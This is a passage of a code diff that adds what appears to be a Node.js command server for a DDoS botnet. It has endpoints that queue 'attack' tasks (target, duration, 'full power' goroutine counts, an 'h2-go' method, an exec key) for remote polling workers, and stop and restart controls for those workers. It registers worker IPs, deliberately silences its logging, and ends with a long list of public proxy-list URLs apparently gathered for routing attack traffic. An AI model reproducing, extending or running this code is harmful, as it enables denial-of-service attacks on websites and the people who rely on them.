});
|
|
1050
|
+
|
|
1051
|
+
app.post("/api/stopall", requireAuth, async (req, res) => {
|
|
1052
|
+
threadPool.stopAll();
|
|
1053
|
+
activeAttacks.clear();
|
|
1054
|
+
// Stop all polling workers
|
|
1055
|
+
for (const wid of Object.keys(global.activeWorkers || {})) {
|
|
1056
|
+
pendingCommands.set(wid, { action: "stop" });
|
|
1057
|
+
}
|
|
1058
|
+
res.json({ status: "ok", message: "All attacks stopped, stop sent to polling workers" });
|
|
1059
|
+
});
|
|
1060
|
+
app.get("/api/attacks", requireAuth, (req, res) => { const attacks = []; for (const [id, a] of activeAttacks.entries()) { const elapsed = Math.floor((Date.now() - a.startTime) / 1000); attacks.push({ id, ...a, elapsed }); } res.json({ count: attacks.length, attacks }); });
|
|
1061
|
+
|
|
1062
|
+
// ─── Polling Worker API ─────────────────────────────────────
|
|
1063
|
+
// Workers poll this endpoint for commands (no auth needed, uses Bearer token)
|
|
1064
|
+
const pendingCommands = new Map(); // workerId → {action, task}
|
|
1065
|
+
const pollDebugLog = []; // Store last 200 poll events for debugging
|
|
1066
|
+
const MAX_POLL_LOG = 200;
|
|
1067
|
+
|
|
1068
|
+
// Periodic disconnect checker — only logs when worker goes offline
|
|
1069
|
+
const _workerOfflineNotified = new Set();
|
|
1070
|
+
setInterval(() => {
|
|
1071
|
+
if (!global.activeWorkers) return;
|
|
1072
|
+
const now = Date.now();
|
|
1073
|
+
for (const [wid, info] of Object.entries(global.activeWorkers)) {
|
|
1074
|
+
const offline = (now - info.lastSeen) > 15000;
|
|
1075
|
+
if (offline && !_workerOfflineNotified.has(wid)) {
|
|
1076
|
+
stealthLog(` ❌ Worker disconnected: ${wid}`);
|
|
1077
|
+
_workerOfflineNotified.add(wid);
|
|
1078
|
+
} else if (!offline && _workerOfflineNotified.has(wid)) {
|
|
1079
|
+
_workerOfflineNotified.delete(wid);
|
|
1080
|
+
}
|
|
1081
|
+
}
|
|
1082
|
+
}, 10000).unref();
|
|
1083
|
+
|
|
1084
|
+
app.post("/api/worker/poll", async (req, res) => {
|
|
1085
|
+
const pollTime = new Date().toISOString();
|
|
1086
|
+
const auth = (req.headers["authorization"] || "");
|
|
1087
|
+
const token = auth.startsWith("Bearer ") ? auth.slice(7) : "";
|
|
1088
|
+
if (token !== WORKER_SECRET) {
|
|
1089
|
+
const debugEntry = { time: pollTime, workerId: req.headers["x-worker-id"] || "unknown", action: "unauthorized", ip: req.ip || req.connection.remoteAddress };
|
|
1090
|
+
pollDebugLog.unshift(debugEntry);
|
|
1091
|
+
if (pollDebugLog.length > MAX_POLL_LOG) pollDebugLog.pop();
|
|
1092
|
+
stealthLog(` 🔍 POLL DEBUG | ${pollTime} | Worker: unknown | IP: ${req.ip || req.connection.remoteAddress} | Action: UNAUTHORIZED`);
|
|
1093
|
+
return res.status(401).json({ error: "Unauthorized" });
|
|
1094
|
+
}
|
|
1095
|
+
|
|
1096
|
+
const workerId = req.headers["x-worker-id"] || "unknown";
|
|
1097
|
+
const workerStatus = req.body.status || {};
|
|
1098
|
+
const workerTaskId = req.body.taskId || null;
|
|
1099
|
+
|
|
1100
|
+
// Register/update worker
|
|
1101
|
+
if (!global.activeWorkers) global.activeWorkers = {};
|
|
1102
|
+
const isNew = !global.activeWorkers[workerId];
|
|
1103
|
+
const wasOnline = isNew ? false : (Date.now() - (global.activeWorkers[workerId].lastSeen || 0)) > 15000;
|
|
1104
|
+
|
|
1105
|
+
global.activeWorkers[workerId] = {
|
|
1106
|
+
...workerStatus,
|
|
1107
|
+
lastSeen: Date.now(),
|
|
1108
|
+
ip: req.ip || req.connection.remoteAddress
|
|
1109
|
+
};
|
|
1110
|
+
|
|
1111
|
+
// Log worker connect events (not spammy — only on status change)
|
|
1112
|
+
if (isNew) {
|
|
1113
|
+
stealthLog(` ✅ Worker connected: ${workerId} from ${req.ip || req.connection.remoteAddress}`);
|
|
1114
|
+
} else if (wasOnline) {
|
|
1115
|
+
stealthLog(` 🔄 Worker reconnected: ${workerId}`);
|
|
1116
|
+
}
|
|
1117
|
+
|
|
1118
|
+
// Check if worker already has a pending command
|
|
1119
|
+
const cmd = pendingCommands.get(workerId);
|
|
1120
|
+
let action = "none";
|
|
1121
|
+
let task = null;
|
|
1122
|
+
if (cmd) {
|
|
1123
|
+
pendingCommands.delete(workerId);
|
|
1124
|
+
action = cmd.action;
|
|
1125
|
+
task = cmd.task || null;
|
|
1126
|
+
}
|
|
1127
|
+
|
|
1128
|
+
// Debug log every poll
|
|
1129
|
+
const debugEntry = {
|
|
1130
|
+
time: pollTime,
|
|
1131
|
+
workerId,
|
|
1132
|
+
action,
|
|
1133
|
+
ip: req.ip || req.connection.remoteAddress,
|
|
1134
|
+
cpu: workerStatus.cpu,
|
|
1135
|
+
cpuCores: workerStatus.cpuCores,
|
|
1136
|
+
mem: workerStatus.mem,
|
|
1137
|
+
memTotal: workerStatus.memTotal,
|
|
1138
|
+
activeProcesses: workerStatus.activeProcesses,
|
|
1139
|
+
uptime: workerStatus.uptime,
|
|
1140
|
+
hasTaskId: !!workerTaskId
|
|
1141
|
+
};
|
|
1142
|
+
pollDebugLog.unshift(debugEntry);
|
|
1143
|
+
if (pollDebugLog.length > MAX_POLL_LOG) pollDebugLog.pop();
|
|
1144
|
+
|
|
1145
|
+
// Only log to panel console when action happens (not every poll)
|
|
1146
|
+
// SILENCED - no logging in worker mode
|
|
1147
|
+
if (action !== "none") {
|
|
1148
|
+
// stealthLog disabled - completely silent
|
|
1149
|
+
}
|
|
1150
|
+
|
|
1151
|
+
// Process worker-sent logs (if any) — COMPLETELY SILENT
|
|
1152
|
+
if (workerStatus.logs && Array.isArray(workerStatus.logs)) {
|
|
1153
|
+
// All worker logs silenced - no output
|
|
1154
|
+
}
|
|
1155
|
+
|
|
1156
|
+
res.json({ ok: true, action, task });
|
|
1157
|
+
});
|
|
1158
|
+
|
|
1159
|
+
// Debug endpoint to view poll history
|
|
1160
|
+
app.get("/api/workers/poll-debug", requireAuth, async (req, res) => {
|
|
1161
|
+
const workers = global.activeWorkers || {};
|
|
1162
|
+
const activeWorkers = {};
|
|
1163
|
+
const now = Date.now();
|
|
1164
|
+
for (const [wid, info] of Object.entries(workers)) {
|
|
1165
|
+
activeWorkers[wid] = { ...info, online: (now - info.lastSeen) < 15000 };
|
|
1166
|
+
}
|
|
1167
|
+
res.json({
|
|
1168
|
+
pollLog: pollDebugLog,
|
|
1169
|
+
activeWorkers,
|
|
1170
|
+
totalPolls: pollDebugLog.length
|
|
1171
|
+
});
|
|
1172
|
+
});
|
|
1173
|
+
|
|
1174
|
+
// API for panel to send commands to polling workers
|
|
1175
|
+
app.post("/api/workers/attack", requireAuth, async (req, res) => {
|
|
1176
|
+
const { target, duration, threads, method, goroutines, workerIds } = req.body;
|
|
1177
|
+
if (!target || !duration) return res.status(400).json({ error: "target and duration required" });
|
|
1178
|
+
|
|
1179
|
+
const cpuCores = os.cpus().length;
|
|
1180
|
+
|
|
1181
|
+
// Auto values if user didn't specify
|
|
1182
|
+
let finalGoroutines, finalThreads;
|
|
1183
|
+
|
|
1184
|
+
if (goroutines) {
|
|
1185
|
+
// User specified — use it
|
|
1186
|
+
finalGoroutines = parseInt(goroutines);
|
|
1187
|
+
} else {
|
|
1188
|
+
// Auto — full power
|
|
1189
|
+
finalGoroutines = cpuCores * 3000;
|
|
1190
|
+
}
|
|
1191
|
+
|
|
1192
|
+
if (threads) {
|
|
1193
|
+
// User specified — use it
|
|
1194
|
+
finalThreads = Math.min(parseInt(threads), 256);
|
|
1195
|
+
} else {
|
|
1196
|
+
// Auto — cores × 2, max 256
|
|
1197
|
+
finalThreads = Math.min(cpuCores * 2, 256);
|
|
1198
|
+
}
|
|
1199
|
+
|
|
1200
|
+
// Pass EXEC_KEY to workers so binary can spawn
|
|
1201
|
+
const execKey = process.env.EXEC_KEY || "夜影风暴";
|
|
1202
|
+
|
|
1203
|
+
// Auto-max all workers to full performance
|
|
1204
|
+
const targets = workerIds || Object.keys(global.activeWorkers || {});
|
|
1205
|
+
let sent = 0;
|
|
1206
|
+
const workerDetails = [];
|
|
1207
|
+
|
|
1208
|
+
for (const wid of targets) {
|
|
1209
|
+
if (global.activeWorkers && global.activeWorkers[wid]) {
|
|
1210
|
+
const worker = global.activeWorkers[wid];
|
|
1211
|
+
const workerCores = worker.cpuCores || cpuCores;
|
|
1212
|
+
|
|
1213
|
+
const task = {
|
|
1214
|
+
id: Date.now() + "-" + wid,
|
|
1215
|
+
target,
|
|
1216
|
+
duration: String(duration),
|
|
1217
|
+
threads: String(finalThreads),
|
|
1218
|
+
method: method || "h2-go",
|
|
1219
|
+
goroutines: String(finalGoroutines),
|
|
1220
|
+
execKey: execKey
|
|
1221
|
+
};
|
|
1222
|
+
|
|
1223
|
+
pendingCommands.set(wid, { action: "attack", task });
|
|
1224
|
+
workerDetails.push({ workerId: wid, cores: workerCores, goroutines: finalGoroutines, threads: finalThreads });
|
|
1225
|
+
sent++;
|
|
1226
|
+
}
|
|
1227
|
+
}
|
|
1228
|
+
|
|
1229
|
+
// Save to history
|
|
1230
|
+
addHistoryEntry({ method: method || "h2-go", target, duration: String(duration), threads: threads ? String(threads) : "auto", goroutines: goroutines ? String(goroutines) : "auto" });
|
|
1231
|
+
|
|
1232
|
+
res.json({
|
|
1233
|
+
status: "ok",
|
|
1234
|
+
message: `Smart-scaled command queued for ${sent} polling workers + broadcast to HTTP workers`,
|
|
1235
|
+
workerDetails,
|
|
1236
|
+
taskId: Date.now()
|
|
1237
|
+
});
|
|
1238
|
+
});
|
|
1239
|
+
|
|
1240
|
+
app.post("/api/workers/stop", requireAuth, async (req, res) => {
|
|
1241
|
+
const { workerIds } = req.body;
|
|
1242
|
+
const targets = workerIds || Object.keys(global.activeWorkers || {});
|
|
1243
|
+
let sent = 0;
|
|
1244
|
+
for (const wid of targets) {
|
|
1245
|
+
if (global.activeWorkers && global.activeWorkers[wid]) {
|
|
1246
|
+
pendingCommands.set(wid, { action: "stop" });
|
|
1247
|
+
sent++;
|
|
1248
|
+
}
|
|
1249
|
+
}
|
|
1250
|
+
res.json({ status: "ok", message: `Stop queued for ${sent} polling workers` });
|
|
1251
|
+
});
|
|
1252
|
+
|
|
1253
|
+
app.post("/api/workers/restart", requireAuth, async (req, res) => {
|
|
1254
|
+
const { workerIds } = req.body;
|
|
1255
|
+
const allWorkers = Object.keys(global.activeWorkers || {});
|
|
1256
|
+
const targets = (workerIds && workerIds.length > 0) ? workerIds : allWorkers;
|
|
1257
|
+
let sent = 0;
|
|
1258
|
+
for (const wid of targets) {
|
|
1259
|
+
if (global.activeWorkers && global.activeWorkers[wid]) {
|
|
1260
|
+
pendingCommands.set(wid, { action: "restart" });
|
|
1261
|
+
sent++;
|
|
1262
|
+
}
|
|
1263
|
+
}
|
|
1264
|
+
res.json({ status: "ok", message: `Restart queued for ${sent} polling workers` });
|
|
1265
|
+
});
|
|
1266
|
+
|
|
1267
|
+
app.get("/api/workers/polling", requireAuth, async (req, res) => {
|
|
1268
|
+
const now = Date.now();
|
|
1269
|
+
const workers = {};
|
|
1270
|
+
for (const [wid, info] of Object.entries(global.activeWorkers || {})) {
|
|
1271
|
+
workers[wid] = { ...info, online: (now - info.lastSeen) < 15000 };
|
|
1272
|
+
}
|
|
1273
|
+
res.json({ count: Object.keys(workers).length, workers });
|
|
1274
|
+
});
|
|
1275
|
+
|
|
1276
|
+
// ─── Proxy Management ─────────────────────────────────────
|
|
1277
|
+
const net = require("net");
|
|
1278
|
+
const PROXY_REGEX_P = /\b(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d{2,5})\b/g;
|
|
1279
|
+
const PROXY_FETCH_TIMEOUT = 6000;
|
|
1280
|
+
const PROXY_VALIDATE_TIMEOUT = 400;
|
|
1281
|
+
const PROXY_MAX_CONCURRENT = 2000;
|
|
1282
|
+
|
|
1283
|
+
const PLAIN_SOURCES = [
|
|
1284
|
+
'https://api.proxyscrape.com/v2/?request=getproxies&protocol=http&timeout=10000&country=all&ssl=all&anonymity=all',
|
|
1285
|
+
'https://api.proxyscrape.com/v2/?request=getproxies&protocol=https&timeout=10000&country=all&ssl=all&anonymity=all',
|
|
1286
|
+
'https://api.proxyscrape.com/v2/?request=getproxies&protocol=socks4&timeout=10000&country=all&ssl=all&anonymity=all',
|
|
1287
|
+
'https://api.proxyscrape.com/v2/?request=getproxies&protocol=socks5&timeout=10000&country=all&ssl=all&anonymity=all',
|
|
1288
|
+
'https://api.proxyscrape.com/v3/free-proxy-list/get?request=displayproxies&proxy_type=http&country=all&limit=10000',
|
|
1289
|
+
'https://api.proxyscrape.com/v3/free-proxy-list/get?request=displayproxies&proxy_type=https&country=all&limit=10000',
|
|
1290
|
+
'https://api.proxyscrape.com/v3/free-proxy-list/get?request=displayproxies&proxy_type=socks4&country=all&limit=10000',
|
|
1291
|
+
'https://api.proxyscrape.com/v3/free-proxy-list/get?request=displayproxies&proxy_type=socks5&country=all&limit=10000',
|
|
1292
|
+
'https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/http.txt',
|
|
1293
|
+
'https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/https.txt',
|
|
1294
|
+
'https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/socks4.txt',
|
|
1295
|
+
'https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/socks5.txt',
|
|
1296
|
+
'https://raw.githubusercontent.com/TheSpeedX/SOCKS-List/master/http.txt',
|
|
1297
|
+
'https://raw.githubusercontent.com/TheSpeedX/SOCKS-List/master/socks4.txt',
|
|
1298
|
+
'https://raw.githubusercontent.com/TheSpeedX/SOCKS-List/master/socks5.txt',
|
|
1299
|
+
'https://raw.githubusercontent.com/ShiftyTR/Proxy-List/master/http.txt',
|
|
1300
|
+
'https://raw.githubusercontent.com/ShiftyTR/Proxy-List/master/https.txt',
|
|
1301
|
+
'https://raw.githubusercontent.com/ShiftyTR/Proxy-List/master/socks4.txt',
|
|
1302
|
+
'https://raw.githubusercontent.com/ShiftyTR/Proxy-List/master/socks5.txt',
|
|
1303
|
+
'https://raw.githubusercontent.com/ShiftyTR/Proxy-List/master/proxy.txt',
|
|
1304
|
+
'https://raw.githubusercontent.com/clarketm/proxy-list/master/proxy-list-raw.txt',
|
|
1305
|
+
'https://raw.githubusercontent.com/mmpx12/proxy-list/master/http.txt',
|
|
1306
|
+
'https://raw.githubusercontent.com/mmpx12/proxy-list/master/https.txt',
|
|
1307
|
+
'https://raw.githubusercontent.com/mmpx12/proxy-list/master/socks4.txt',
|
|
1308
|
+
'https://raw.githubusercontent.com/mmpx12/proxy-list/master/socks5.txt',
|
|
1309
|
+
'https://raw.githubusercontent.com/roosterkid/openproxylist/main/HTTPS_RAW.txt',
|
|
1310
|
+
'https://raw.githubusercontent.com/roosterkid/openproxylist/main/HTTP_RAW.txt',
|
|
1311
|
+
'https://raw.githubusercontent.com/roosterkid/openproxylist/main/SOCKS4_RAW.txt',
|
|
1312
|
+
'https://raw.githubusercontent.com/roosterkid/openproxylist/main/SOCKS5_RAW.txt',
|
|
1313
|
+
'https://raw.githubusercontent.com/zloi-user/hideip.me/main/http.txt',
|
|
1314
|
+
'https://raw.githubusercontent.com/zloi-user/hideip.me/main/https.txt',
|
|
1315
|
+
'https://raw.githubusercontent.com/zloi-user/hideip.me/main/socks4.txt',
|
|
1316
|
+
'https://raw.githubusercontent.com/zloi-user/hideip.me/main/socks5.txt',
|
|
1317
|
+
'https://raw.githubusercontent.com/MuRongPIG/Proxy-Master/main/http.txt',
|
|
1318
|
+
'https://raw.githubusercontent.com/MuRongPIG/Proxy-Master/main/https.txt',
|
|
1319
|
+
'https://raw.githubusercontent.com/MuRongPIG/Proxy-Master/main/socks4.txt',
|
|
1320
|
+
'https://raw.githubusercontent.com/MuRongPIG/Proxy-Master/main/socks5.txt',
|
|
1321
|
+
'https://raw.githubusercontent.com/prxchk/proxy-list/main/http.txt',
|
|
1322
|
+
'https://raw.githubusercontent.com/prxchk/proxy-list/main/https.txt',
|
|
1323
|
+
'https://raw.githubusercontent.com/prxchk/proxy-list/main/socks4.txt',
|
|
1324
|
+
'https://raw.githubusercontent.com/prxchk/proxy-list/main/socks5.txt',
|
|
1325
|
+
'https://raw.githubusercontent.com/rdavydov/proxy-list/main/proxies/http.txt',
|
|
1326
|
+
'https://raw.githubusercontent.com/rdavydov/proxy-list/main/proxies/https.txt',
|
|
1327
|
+
'https://raw.githubusercontent.com/rdavydov/proxy-list/main/proxies/socks4.txt',
|
|
1328
|
+
'https://raw.githubusercontent.com/rdavydov/proxy-list/main/proxies/socks5.txt',
|
|
1329
|
+
'https://raw.githubusercontent.com/Anonym0usWork1221/Free-Proxies/main/proxy_files/http_proxies.txt',
|
|
1330
|
+
'https://raw.githubusercontent.com/Anonym0usWork1221/Free-Proxies/main/proxy_files/https_proxies.txt',
|
|
1331
|
+
'https://raw.githubusercontent.com/Anonym0usWork1221/Free-Proxies/main/proxy_files/socks4_proxies.txt',
|
|
1332
|
+
'https://raw.githubusercontent.com/Anonym0usWork1221/Free-Proxies/main/proxy_files/socks5_proxies.txt',
|
|
1333
|
+
'https://raw.githubusercontent.com/sunny9577/proxy-scraper/master/proxies.txt',
|
|
1334
|
+
'https://raw.githubusercontent.com/ErcinDedeoglu/proxies/main/proxies/http.txt',
|
|
1335
|
+
'https://raw.githubusercontent.com/ErcinDedeoglu/proxies/main/proxies/https.txt',
|
|
1336
|
+
'https://raw.githubusercontent.com/ErcinDedeoglu/proxies/main/proxies/socks4.txt',
|
|
1337
|
+
'https://raw.githubusercontent.com/ErcinDedeoglu/proxies/main/proxies/socks5.txt',
|
|
1338
|
+
'https://openproxylist.xyz/http.txt',
|
|
1339
|
+
'https://openproxylist.xyz/https.txt',
|
|
1340
|
+
'https://openproxylist.xyz/socks4.txt',
|
|
1341
|
+
'https://openproxylist.xyz/socks5.txt',
|
|
1342
|
+
'https://raw.githubusercontent.com/proxifly/free-proxy-list/main/proxies/all/data.txt',
|
|
1343
|
+
'https://raw.githubusercontent.com/proxifly/free-proxy-list/main/proxies/http/data.txt',
|
|
1344
|
+
'https://raw.githubusercontent.com/proxifly/free-proxy-list/main/proxies/https/data.txt',
|
|
1345
|
+
'https://raw.githubusercontent.com/proxifly/free-proxy-list/main/proxies/socks4/data.txt',
|
|
1346
|
+
'https://raw.githubusercontent.com/proxifly/free-proxy-list/main/proxies/socks5/data.txt',
|
|
1347
|
+
'https://raw.githubusercontent.com/ALIILAPRO/proxy/main/http.txt',
|
|
1348
|
+
'https://raw.githubusercontent.com/ALIILAPRO/proxy/main/https.txt',
|
|
1349
|
+
'https://raw.githubusercontent.com/ALIILAPRO/proxy/main/socks4.txt',
|
|
1350
|
+
'https://raw.githubusercontent.com/ALIILAPRO/proxy/main/socks5.txt',
|
|
1351
|
+
'https://raw.githubusercontent.com/jetkai/proxy-list/main/online-proxies/http.txt',
|
|
1352
|
+
'https://raw.githubusercontent.com/jetkai/proxy-list/main/online-proxies/https.txt',
|
|
1353
|
+
'https://raw.githubusercontent.com/jetkai/proxy-list/main/online-proxies/socks4.txt',
|
|
1354
|
+
'https://raw.githubusercontent.com/jetkai/proxy-list/main/online-proxies/socks5.txt',
|
|
1355
|
+
'https://raw.githubusercontent.com/Volodichev/proxy-list/main/http.txt',
|
|
1356
|
+
'https://raw.githubusercontent.com/Volodichev/proxy-list/main/https.txt',
|
|
1357
|
+
'https://raw.githubusercontent.com/Volodichev/proxy-list/main/socks4.txt',
|
|
1358
|
+
'https://raw.githubusercontent.com/Volodichev/proxy-list/main/socks5.txt',
|
|
1359
|
+
'https://raw.githubusercontent.com/HyperBeats/proxy-list/main/http.txt',
|
|
1360
|
+
'https://raw.githubusercontent.com/HyperBeats/proxy-list/main/https.txt',
|
|
1361
|
+
'https://raw.githubusercontent.com/HyperBeats/proxy-list/main/socks4.txt',
|
|
1362
|
+
'https://raw.githubusercontent.com/HyperBeats/proxy-list/main/socks5.txt',
|
|
1363
|
+
'https://raw.githubusercontent.com/monosans/proxy-list/main/proxies/http.txt',
|
|
1364
|
+
'https://raw.githubusercontent.com/monosans/proxy-list/main/proxies/https.txt',
|
|
1365
|
+
'https://raw.githubusercontent.com/monosans/proxy-list/main/proxies/socks4.txt',
|
|
1366
|
+
'https://raw.githubusercontent.com/monosans/proxy-list/main/proxies/socks5.txt',
|
|
1367
|
+
'https://www.proxy-list.download/api/v1/get?type=http',
|
|
1368
|
+
'https://www.proxy-list.download/api/v1/get?type=https',
|
|
1369
|
+
'https://www.proxy-list.download/api/v1/get?type=socks4',
|
|
1370
|
+
'https://www.proxy-list.download/api/v1/get?type=socks5',
|
|
1371
|
+
'https://raw.githubusercontent.com/B4RC0DE-TM/proxy-list/main/http.txt',
|
|
1372
|
+
'https://raw.githubusercontent.com/B4RC0DE-TM/proxy-list/main/https.txt',
|
|
1373
|
+
'https://raw.githubusercontent.com/B4RC0DE-TM/proxy-list/main/socks4.txt',
|
|
1374
|
+
'https://raw.githubusercontent.com/B4RC0DE-TM/proxy-list/main/socks5.txt',
|
|
1375
|
+
'https://raw.githubusercontent.com/hookzof/socks5_list/master/proxy.txt',
|
|
1376
|
+
'https://raw.githubusercontent.com/zevtyardt/proxy-list/main/http.txt',
|
|
1377
|
+
'https://raw.githubusercontent.com/zevtyardt/proxy-list/main/https.txt',
|
|
1378
|
+
'https://raw.githubusercontent.com/zevtyardt/proxy-list/main/socks4.txt',
|
|
1379
|
+
'https://raw.githubusercontent.com/zevtyardt/proxy-list/main/socks5.txt',
|
|
1380
|
+
'https://raw.githubusercontent.com/fate0/proxylist/master/proxy.list',
|
|
1381
|
+
'https://spys.me/proxy.txt',
|
|
1382
|
+
'https://spys.me/socks.txt',
|
|
1383
|
+
'https://raw.githubusercontent.com/rx443/proxy-list/online/http.txt',
|
|
1384
|
+
'https://raw.githubusercontent.com/rx443/proxy-list/online/https.txt',
|
|
1385
|
+
'https://raw.githubusercontent.com/rx443/proxy-list/online/socks4.txt',
|
|
1386
|
+
'https://raw.githubusercontent.com/rx443/proxy-list/online/socks5.txt',
|
|
1387
|
+
'https://raw.githubusercontent.com/vakhov/fresh-proxy-list/master/http.txt',
|
|
1388
|
+
'https://raw.githubusercontent.com/vakhov/fresh-proxy-list/master/https.txt',
|
|
1389
|
+
'https://raw.githubusercontent.com/vakhov/fresh-proxy-list/master/socks4.txt',
|
|
1390
|
+
'https://raw.githubusercontent.com/vakhov/fresh-proxy-list/master/socks5.txt',
|
|
1391
|
+
'https://raw.githubusercontent.com/Zaeem20/FREE_PROXIES_LIST/master/http.txt',
|
|
1392
|
+
'https://raw.githubusercontent.com/Zaeem20/FREE_PROXIES_LIST/master/https.txt',
|
|
1393
|
+
'https://raw.githubusercontent.com/Zaeem20/FREE_PROXIES_LIST/master/socks4.txt',
|
|
1394
|
+
'https://raw.githubusercontent.com/Zaeem20/FREE_PROXIES_LIST/master/socks5.txt',
|
|
1395
|
+
'https://raw.githubusercontent.com/caliphdev/Proxy-List/master/http.txt',
|
|
1396
|
+
'https://raw.githubusercontent.com/caliphdev/Proxy-List/master/https.txt',
|
|
1397
|
+
'https://raw.githubusercontent.com/caliphdev/Proxy-List/master/socks4.txt',
|
|
1398
|
+
'https://raw.githubusercontent.com/caliphdev/Proxy-List/master/socks5.txt',
|
|
1399
|
+
'https://raw.githubusercontent.com/HouseOfPirates/proxy-list/main/http.txt',
|
|
1400
|
+
'https://raw.githubusercontent.com/HouseOfPirates/proxy-list/main/socks4.txt',
|
|
1401
|
+
'https://raw.githubusercontent.com/HouseOfPirates/proxy-list/main/socks5.txt',
|
|
1402
|
+
'https://proxyspace.pro/http.txt',
|
|
1403
|
+
'https://proxyspace.pro/https.txt',
|
|
1404
|
+
'https://proxyspace.pro/socks4.txt',
|
|
1405
|
+
'https://proxyspace.pro/socks5.txt',
|
|
1406
|
+
'https://raw.githubusercontent.com/officialputuid/KangProxy/KangProxy/http/http.txt',
|
|
1407
|
+
'https://raw.githubusercontent.com/officialputuid/KangProxy/KangProxy/https/https.txt',
|
|
1408
|
+
'https://raw.githubusercontent.com/officialputuid/KangProxy/KangProxy/socks4/socks4.txt',
|
|
1409
|
+
'https://raw.githubusercontent.com/officialputuid/KangProxy/KangProxy/socks5/socks5.txt',
|
|
1410
|
+
'https://raw.githubusercontent.com/tubagusagus/proxy-list/master/http.txt',
|
|
1411
|
+
'https://raw.githubusercontent.com/tubagusagus/proxy-list/master/https.txt',
|
|
1412
|
+
'https://raw.githubusercontent.com/tubagusagus/proxy-list/master/socks4.txt',
|
|
1413
|
+
'https://raw.githubusercontent.com/tubagusagus/proxy-list/master/socks5.txt',
|
|
1414
|
+
'https://raw.githubusercontent.com/TheProxyScraper/proxies/main/http.txt',
|
|
1415
|
+
'https://raw.githubusercontent.com/TheProxyScraper/proxies/main/socks4.txt',
|
|
1416
|
+
'https://raw.githubusercontent.com/TheProxyScraper/proxies/main/socks5.txt',
|
|
1417
|
+
'https://raw.githubusercontent.com/TuanMinPay/live-proxy/master/http.txt',
|
|
1418
|
+
'https://raw.githubusercontent.com/TuanMinPay/live-proxy/master/https.txt',
|
|
1419
|
+
'https://raw.githubusercontent.com/TuanMinPay/live-proxy/master/socks4.txt',
|
|
1420
|
+
'https://raw.githubusercontent.com/TuanMinPay/live-proxy/master/socks5.txt',
|
|
1421
|
+
// ── Additional sources ────────────────────────────────────────────────
|
|
1422
|
+
'https://api.proxyscrape.com/v2/?request=displayproxies&protocol=http&timeout=10000&country=all&ssl=all&anonymity=all',
|
|
1423
|
+
'https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=10000&country=all',
|
|
1424
|
+
'https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks5&timeout=10000&country=all',
|
|
1425
|
+
'https://raw.githubusercontent.com/ALIILAPRO/Proxy/main/http.txt',
|
|
1426
|
+
'https://raw.githubusercontent.com/ALIILAPRO/Proxy/main/socks4.txt',
|
|
1427
|
+
'https://raw.githubusercontent.com/ALIILAPRO/Proxy/main/socks5.txt',
|
|
1428
|
+
'https://raw.githubusercontent.com/UptimerBot/proxy-list/main/proxies/http.txt',
|
|
1429
|
+
'https://raw.githubusercontent.com/UptimerBot/proxy-list/main/proxies/socks4.txt',
|
|
1430
|
+
'https://raw.githubusercontent.com/UptimerBot/proxy-list/main/proxies/socks5.txt',
|
|
1431
|
+
'https://raw.githubusercontent.com/dpangestuw/Free-Proxy/main/http_proxies.txt',
|
|
1432
|
+
'https://raw.githubusercontent.com/dpangestuw/Free-Proxy/main/https_proxies.txt',
|
|
1433
|
+
'https://raw.githubusercontent.com/dpangestuw/Free-Proxy/main/socks4_proxies.txt',
|
|
1434
|
+
'https://raw.githubusercontent.com/dpangestuw/Free-Proxy/main/socks5_proxies.txt',
|
|
1435
|
+
'https://raw.githubusercontent.com/proxy4parsing/proxy-list/main/http.txt',
|
|
1436
|
+
'https://raw.githubusercontent.com/sunny9577/proxy-scraper/master/generated/http_proxies.txt',
|
|
1437
|
+
'https://raw.githubusercontent.com/sunny9577/proxy-scraper/master/generated/socks4_proxies.txt',
|
|
1438
|
+
'https://raw.githubusercontent.com/sunny9577/proxy-scraper/master/generated/socks5_proxies.txt',
|
|
1439
|
+
'https://raw.githubusercontent.com/themiralay/Proxy-List-World/master/data.txt',
|
|
1440
|
+
'https://raw.githubusercontent.com/saschazesiger/Free-Proxies/master/proxies/http.txt',
|
|
1441
|
+
'https://raw.githubusercontent.com/saschazesiger/Free-Proxies/master/proxies/socks4.txt',
|
|
1442
|
+
'https://raw.githubusercontent.com/saschazesiger/Free-Proxies/master/proxies/socks5.txt',
|
|
1443
|
+
'https://raw.githubusercontent.com/casals-ar/proxy-list/main/http',
|
|
1444
|
+
'https://raw.githubusercontent.com/casals-ar/proxy-list/main/socks4',
|
|
1445
|
+
'https://raw.githubusercontent.com/casals-ar/proxy-list/main/socks5',
|
|
1446
|
+
'https://raw.githubusercontent.com/im-razvan/proxy_list/main/http.txt',
|
|
1447
|
+
'https://raw.githubusercontent.com/im-razvan/proxy_list/main/socks5.txt',
|
|
1448
|
+
'https://raw.githubusercontent.com/hanwayTech/free-proxy-list/main/http.txt',
|
|
1449
|
+
'https://raw.githubusercontent.com/hanwayTech/free-proxy-list/main/socks4.txt',
|
|
1450
|
+
'https://raw.githubusercontent.com/hanwayTech/free-proxy-list/main/socks5.txt',
|
|
1451
|
+
'https://raw.githubusercontent.com/mertguvencli/http-proxy-list/main/proxy-list/data.txt',
|
|
1452
|
+
'https://raw.githubusercontent.com/ObcbO/getproxy/master/file/http.txt',
|
|
1453
|
+
'https://raw.githubusercontent.com/ObcbO/getproxy/master/file/socks5.txt',
|
|
1454
|
+
'https://raw.githubusercontent.com/saisuiu/Lionkings-Http-Proxys-Proxies/main/free.txt',
|
|
1455
|
+
'https://raw.githubusercontent.com/aslisk/proxyhttps/main/https.txt',
|
|
1456
|
+
'https://raw.githubusercontent.com/a2u/free-proxy-list/master/free-proxy-list.txt',
|
|
1457
|
+
'https://raw.githubusercontent.com/yucamdas/free-proxy-list/main/http.txt',
|
|
1458
|
+
'https://raw.githubusercontent.com/yucamdas/free-proxy-list/main/socks5.txt',
|
|
1459
|
+
'https://raw.githubusercontent.com/mmpx12/proxy-list/master/proxy.txt',
|
|
1460
|
+
'https://raw.githubusercontent.com/monosans/proxy-list/main/proxies_anonymous/http.txt',
|
|
1461
|
+
'https://raw.githubusercontent.com/monosans/proxy-list/main/proxies_anonymous/socks4.txt',
|
|
1462
|
+
'https://raw.githubusercontent.com/monosans/proxy-list/main/proxies_anonymous/socks5.txt',
|
|
1463
|
+
];
|
|
1464
|
+
const JSON_SOURCES = [
